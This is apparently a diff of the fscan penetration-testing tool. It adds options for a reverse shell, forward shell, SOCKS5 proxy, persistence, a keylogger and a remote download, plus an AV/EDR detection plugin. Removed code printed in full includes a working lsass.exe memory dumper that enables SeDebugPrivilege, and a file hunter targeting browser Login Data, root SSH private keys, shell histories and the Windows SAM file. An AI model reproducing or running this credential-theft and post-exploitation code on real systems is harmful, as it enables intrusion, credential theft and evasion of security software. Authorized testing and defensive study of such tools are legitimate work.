WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
) )
// ============================================================================= // =============================================================================

View File

@ -17,6 +17,7 @@ var (
Timeout int64 // 超时时间 Timeout int64 // 超时时间
DisablePing bool // 禁用ping DisablePing bool // 禁用ping
LocalMode bool // 本地模式 LocalMode bool // 本地模式
LocalPlugin string // 本地插件选择
// 基础认证配置 // 基础认证配置
Username string // 用户名 Username string // 用户名

View File

@ -20,7 +20,7 @@ globals.go - 全局变量定义
// 版本信息 // 版本信息
// ============================================================================= // =============================================================================
var version = "2.1.0" var version = "2.2.0"
// ============================================================================= // =============================================================================
// 简化的全局状态管理(仅保留必要的同步机制) // 简化的全局状态管理(仅保留必要的同步机制)
@ -40,6 +40,7 @@ var (
Timeout int64 // 直接映射到base.Timeout Timeout int64 // 直接映射到base.Timeout
DisablePing bool // 直接映射到base.DisablePing DisablePing bool // 直接映射到base.DisablePing
LocalMode bool // 直接映射到base.LocalMode LocalMode bool // 直接映射到base.LocalMode
LocalPlugin string // 本地插件选择
AliveOnly bool // 仅存活探测模式 AliveOnly bool // 仅存活探测模式
) )
@ -105,6 +106,7 @@ func SyncFromCore() {
Timeout = base.Timeout Timeout = base.Timeout
DisablePing = base.DisablePing DisablePing = base.DisablePing
LocalMode = base.LocalMode LocalMode = base.LocalMode
LocalPlugin = base.LocalPlugin
Username = base.Username Username = base.Username
Password = base.Password Password = base.Password
@ -129,6 +131,7 @@ func SyncToCore() {
base.Timeout = Timeout base.Timeout = Timeout
base.DisablePing = DisablePing base.DisablePing = DisablePing
base.LocalMode = LocalMode base.LocalMode = LocalMode
base.LocalPlugin = LocalPlugin
base.Username = Username base.Username = Username
base.Password = Password base.Password = Password

View File

@ -138,10 +138,6 @@ var FlagMessages = map[string]map[string]string{
LangZH: "HTTP代理", LangZH: "HTTP代理",
LangEN: "HTTP proxy", LangEN: "HTTP proxy",
}, },
"flag_socks5_proxy": {
LangZH: "SOCKS5代理",
LangEN: "SOCKS5 proxy",
},
"flag_poc_path": { "flag_poc_path": {
LangZH: "POC脚本路径", LangZH: "POC脚本路径",
LangEN: "POC script path", LangEN: "POC script path",
@ -234,6 +230,38 @@ var FlagMessages = map[string]map[string]string{
LangZH: "Shellcode", LangZH: "Shellcode",
LangEN: "Shellcode", LangEN: "Shellcode",
}, },
"flag_reverse_shell_target": {
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
},
"flag_socks5_proxy": {
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
},
"flag_forward_shell_port": {
LangZH: "启动正向Shell服务器端口 (如: 4444)",
LangEN: "Start forward shell server on port (e.g.: 4444)",
},
"flag_persistence_file": {
LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)",
LangEN: "Linux persistence target file path (supports .elf/.sh files)",
},
"flag_win_pe_file": {
LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)",
LangEN: "Windows persistence target PE file path (supports .exe/.dll files)",
},
"flag_keylogger_output": {
LangZH: "键盘记录输出文件路径",
LangEN: "Keylogger output file path",
},
"flag_download_url": {
LangZH: "要下载的文件URL",
LangEN: "URL of the file to download",
},
"flag_download_path": {
LangZH: "下载文件保存路径",
LangEN: "Save path for downloaded file",
},
"flag_language": { "flag_language": {
LangZH: "语言: zh, en", LangZH: "语言: zh, en",
LangEN: "Language: zh, en", LangEN: "Language: zh, en",

View File

@ -45,6 +45,16 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra
// GetPlugins 获取插件列表(通用实现) // GetPlugins 获取插件列表(通用实现)
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) { func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
// 本地模式优先使用LocalPlugin参数
if b.filterType == FilterLocal && common.LocalPlugin != "" {
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
return []string{common.LocalPlugin}, true
} else {
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
return []string{}, true
}
}
// 如果指定了特定插件且不是"all" // 如果指定了特定插件且不是"all"
if common.ScanMode != "" && common.ScanMode != "all" { if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(common.ScanMode) requestedPlugins := parsePluginList(common.ScanMode)

View File

@ -91,8 +91,13 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
} }
// 处理扫描结果 // 处理扫描结果
if result != nil && result.Success { if result == nil {
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
} else if result.Success {
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName)) common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
// TODO: 输出扫描结果
} else {
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
} }
return nil return nil

View File

@ -58,6 +58,31 @@ func RunScan(info common.HostInfo) {
// 等待所有扫描完成 // 等待所有扫描完成
wg.Wait() wg.Wait()
// 检查是否有活跃的反弹Shell或SOCKS5代理
if common.ReverseShellActive {
common.LogBase("检测到活跃的反弹Shell保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持反弹Shell连接
select {} // 阻塞等待,直到收到系统信号
}
if common.Socks5ProxyActive {
common.LogBase("检测到活跃的SOCKS5代理保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持SOCKS5代理
select {} // 阻塞等待,直到收到系统信号
}
if common.ForwardShellActive {
common.LogBase("检测到活跃的正向Shell保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持正向Shell
select {} // 阻塞等待,直到收到系统信号
}
// 完成扫描 // 完成扫描
finishScan() finishScan()
} }

View File

@ -1,127 +0,0 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("填充长度无效")
}
return data[:length-padding], nil
}

File diff suppressed because it is too large Load Diff

View File

@ -1,10 +0,0 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
func DCInfoScan(info *common.HostInfo) (err error) {
return nil
}

View File

@ -1,218 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
// 文件扫描黑名单,跳过这些类型和目录
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
// 敏感文件关键词白名单
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件路径
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件路径
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
// LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *common.HostInfo) (err error) {
common.LogBase("开始本地信息收集...")
// 获取用户主目录
home, err := os.UserHomeDir()
if err != nil {
common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err
}
// 扫描固定位置的敏感文件
scanFixedLocations(home)
// 根据规则搜索敏感文件
searchSensitiveFiles()
common.LogBase("本地信息收集完成")
return nil
}
// scanFixedLocations 扫描固定位置的敏感文件
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
// checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
}
}
// searchSensitiveFiles 搜索敏感文件
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break
}
}
return nil
})
}
}

View File

@ -1,319 +0,0 @@
//go:build windows
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
ERROR_SUCCESS = 0
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// ProcessManager 处理进程相关操作
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// 创建新的进程管理器
func NewProcessManager() (*ProcessManager, error) {
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
return &ProcessManager{
kernel32: kernel32,
dbghelp: dbghelp,
advapi32: advapi32,
}, nil
}
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
return 0, fmt.Errorf("创建进程快照失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
return 0, fmt.Errorf("获取第一个进程失败")
}
for {
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
}
func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle")
proc.Call(handle)
}
func (pm *ProcessManager) ElevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
0x00061907, // MiniDumpWithFullMemory
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("写入转储文件失败: %v", err)
}
return nil
}
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc := pm.kernel32.MustFindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
return 0, fmt.Errorf("打开进程失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile := pm.kernel32.MustFindProc("CreateFileW")
handle, _, err := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0,
0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err)
}
return handle, nil
}
// 查找目标进程
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// 检查是否具有管理员权限
func IsAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
func MiniDump(info *common.HostInfo) (err error) {
// 先检查管理员权限
if !IsAdmin() {
common.LogError("需要管理员权限才能执行此操作")
return fmt.Errorf("需要管理员权限才能执行此操作")
}
pm, err := NewProcessManager()
if err != nil {
common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
return fmt.Errorf("初始化进程管理器失败: %v", err)
}
// 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe")
if err != nil {
common.LogError(fmt.Sprintf("查找进程失败: %v", err))
return fmt.Errorf("查找进程失败: %v", err)
}
common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
// 提升权限
if err := pm.ElevatePrivileges(); err != nil {
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return fmt.Errorf("提升权限失败: %v", err)
}
common.LogSuccess("成功提升进程权限")
// 创建输出路径
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
// 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath)
common.LogError(fmt.Sprintf("进程转储失败: %v", err))
return fmt.Errorf("进程转储失败: %v", err)
}
common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
return nil
}

View File

@ -1,10 +0,0 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
func MiniDump(info *common.HostInfo) (err error) {
return nil
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,608 @@
package avdetect
import (
"bufio"
"context"
_ "embed"
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"sort"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
//go:embed auto.json
var embeddedAVDatabase []byte
// AVDetectPlugin AV/EDR检测插件 - 使用简化架构
type AVDetectPlugin struct {
*local.BaseLocalPlugin
avDatabase map[string]AVProduct
}
// AVProduct AV/EDR产品信息
type AVProduct struct {
Processes []string `json:"processes"`
URL string `json:"url"`
}
// ProcessInfo 进程信息
type ProcessInfo struct {
Name string
PID string
SessionName string
SessionID string
MemUsage string
Services []string // 服务信息
}
// DetectionResult 检测结果
type DetectionResult struct {
ProductName string `json:"product_name"`
DetectedProcesses []ProcessInfo `json:"detected_processes"`
URL string `json:"url"`
RiskLevel string `json:"risk_level"`
Category string `json:"category"`
}
// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
func NewAVDetectPlugin() *AVDetectPlugin {
metadata := &base.PluginMetadata{
Name: "avdetect",
Version: "1.0.0",
Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于嵌入式规则库识别安全软件",
Category: "local",
Tags: []string{"local", "av", "edr", "detection", "security"},
Protocols: []string{"local"},
}
plugin := &AVDetectPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
avDatabase: make(map[string]AVProduct),
}
// 设置支持的平台 (仅Windows)
plugin.SetPlatformSupport([]string{"windows"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *AVDetectPlugin) Initialize() error {
// 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return err
}
// 加载AV数据库
return p.loadAVDatabase()
}
// getRunningProcesses 获取运行中的进程列表
func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
var processes []ProcessInfo
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
// Windows使用PowerShell获取进程信息以避免编码问题
cmd = exec.Command("powershell", "-Command", "Get-Process | Select-Object Name,Id,ProcessName | ConvertTo-Csv -NoTypeInformation")
case "linux", "darwin":
// Unix-like系统使用ps命令
cmd = exec.Command("ps", "aux")
default:
return nil, fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
}
output, err := cmd.Output()
if err != nil {
return nil, fmt.Errorf("执行命令失败: %v", err)
}
// 解析命令输出
processes, err = p.parseProcessOutput(string(output))
if err != nil {
return nil, fmt.Errorf("解析进程信息失败: %v", err)
}
return processes, nil
}
// parseProcessOutput 解析进程命令输出
func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
var processes []ProcessInfo
scanner := bufio.NewScanner(strings.NewReader(output))
switch runtime.GOOS {
case "windows":
// 跳过CSV标题行
if scanner.Scan() {
// 标题行,跳过
}
for scanner.Scan() {
line := scanner.Text()
if line == "" {
continue
}
// 解析PowerShell CSV格式Name,Id,ProcessName
fields := p.parseCSVLine(line)
if len(fields) >= 3 {
processName := strings.Trim(fields[0], "\"")
// 如果进程名不包含.exe则添加
if !strings.HasSuffix(strings.ToLower(processName), ".exe") {
processName += ".exe"
}
process := ProcessInfo{
Name: processName,
PID: strings.Trim(fields[1], "\""),
}
processes = append(processes, process)
}
}
case "linux", "darwin":
// 跳过ps命令的标题行
if scanner.Scan() {
// 标题行,跳过
}
for scanner.Scan() {
line := scanner.Text()
if line == "" {
continue
}
// 解析ps aux输出
fields := strings.Fields(line)
if len(fields) >= 11 {
process := ProcessInfo{
Name: fields[10], // 命令名
PID: fields[1], // PID
MemUsage: fields[5], // 内存使用
}
processes = append(processes, process)
}
}
}
return processes, scanner.Err()
}
// parseCSVLine 解析CSV行处理引号内的逗号
func (p *AVDetectPlugin) parseCSVLine(line string) []string {
var fields []string
var current strings.Builder
inQuotes := false
for i, char := range line {
switch char {
case '"':
inQuotes = !inQuotes
current.WriteRune(char)
case ',':
if inQuotes {
current.WriteRune(char)
} else {
fields = append(fields, current.String())
current.Reset()
}
default:
current.WriteRune(char)
}
// 处理行尾
if i == len(line)-1 {
fields = append(fields, current.String())
}
}
return fields
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行AV/EDR检测扫描 - 简化版本
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogInfo("开始AV/EDR安全软件检测...")
// 获取运行进程
processes, err := p.getRunningProcesses()
if err != nil {
common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
// 不返回错误,继续执行但结果可能不完整
processes = []ProcessInfo{}
}
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
// 检测AV/EDR产品
detectionResults := p.detectAVEDR(processes)
// 获取系统信息
